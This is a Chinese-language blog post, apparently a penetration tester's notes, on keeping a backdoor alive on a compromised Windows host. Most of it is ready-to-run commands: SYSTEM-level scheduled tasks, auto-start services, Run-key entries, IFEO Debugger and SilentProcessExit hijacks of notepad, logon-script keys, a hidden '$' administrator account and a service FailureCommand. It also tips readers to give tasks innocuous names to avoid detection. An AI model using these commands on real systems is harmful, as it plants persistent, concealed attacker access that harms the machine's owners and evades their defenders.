windows权限维持

在获取到服务器权限后 通常会选择一些方式来进行我们的权限维持 以防止服务器重启之后或者其他情况下shell掉线

计划任务

利用计划任务进行权限维持

schtasks

  • schtasks /? 参数详解
  • schtasks /create /? 创建计划任务参数详解

/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn 计划任务名称,后续查询、修改、删除、执行时使用
/tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp 运行任务的用户账户密码
/mo 指定任务在计划类型中的运行间隔
/d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m 指定任务在某个月运行,只适用于MONTHLY类型。
/i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it 只在用户登录时运行
/z 在任务计划完成后删除任务计划
/f 在创建任务时如果任务已存在不显示警告
/RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F 如果指定的任务已经存在,则强制创建任务并抑制警告。

1.创建一个test的计划任务 触发程序为ttt.exe 每分钟运行一次 高级别运行 权限为system

1
schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system

image-20221012221615597

image-20221012221711479

可以看到已经上线了

image-20221012221838482

这里面也可以看到 可以将任务名字改得正常一点 提高隐藏性

现在将电脑关机 已经将cs里面会话的删掉

image-20221012222215251

image-20221012222232028

不管用什么用户登录都直接上线

但是测试的时候 发现最后要设置为system才执行上线 其他权限的不行

1
schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system

账号登录时上线

1
schtasks /create /tn test /tr C:\Users\ttt\Desktop\ttt.exe /sc onlogon   如添加计划任务时使用的账号,登录成功后即上线

删除计划任务

1
schtasks /delete /tn test /f 

但运行中的不会中断

结束计划任务

1
schtasks /end /tn test

运行计划任务

立即运行 但不会影响计划任务

1
schtasks /run /tn test

注册自启动服务

我们可以把后门注册为自启服务 电脑启动后会自动执行自启服务

创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system

1
2
3
4
5
6
7
sc create test binpath= C:\Users\ttt\Desktop\ttt.exe start= auto obj= Localsystem
#启动服务
net start test
#查询服务
sc query test
#删除服务
sc delete tes

image-20221012223958554

image-20221012224008157

但是需要尽快进行迁移以免shell掉线

自启动注册表植入后门

在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序,我们想要利用这个就需要修改注册表在键值存放我们的程序

常见的注册表键值

1
2
3
#Run键
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径

1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

image-20221012224614658

然后重启机器

image-20221012224820027

image-20221012224832345

HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run

1
REG ADD "HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。

劫持对应的程序后,打开该程序运行的是别的程序,比如运行A.exe打开的则是B.exe

注册表路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe

对notepad++程序进行劫持

1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad++.exe" /v Debugger /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

image-20221012230447647

然后点击nodepade++.exe

image-20221012230502663

打不开

image-20221012230516019

上线了

映像劫持新玩法

新的利用方法,实现的效果是:程序A静默退出结束后,会执行程序B。

劫持notepad.exe

1
2
3
4
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

详细可参考https://www.anquanke.com/post/id/151425

logon scripts 后门

Windows 登录脚本,当用户登录时触发

注册表位置:HKEY_CURRENT_USER\Environment

1
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

创建隐藏账号

1
2
net user test1$ 123456 /add
net localgroup administrators test1$ /add

image-20221012231337904

image-20221012231352256

net user看不见 但管理员里面可以看见 以及管理用户面板

失败命令

Windows提供了一种功能,以便在服务无法启动或其通信过程终止时执行某些操作。具体来说,当服务被终止时,可以执行命令。控制此操作的注册表项是“ FailureCommand ”,其值将定义要执行的操作。

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

这样注册之后 我们将 win32time服务停止后 会执行ttt.exe

详细可参考https://hackergu.com/power-service/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!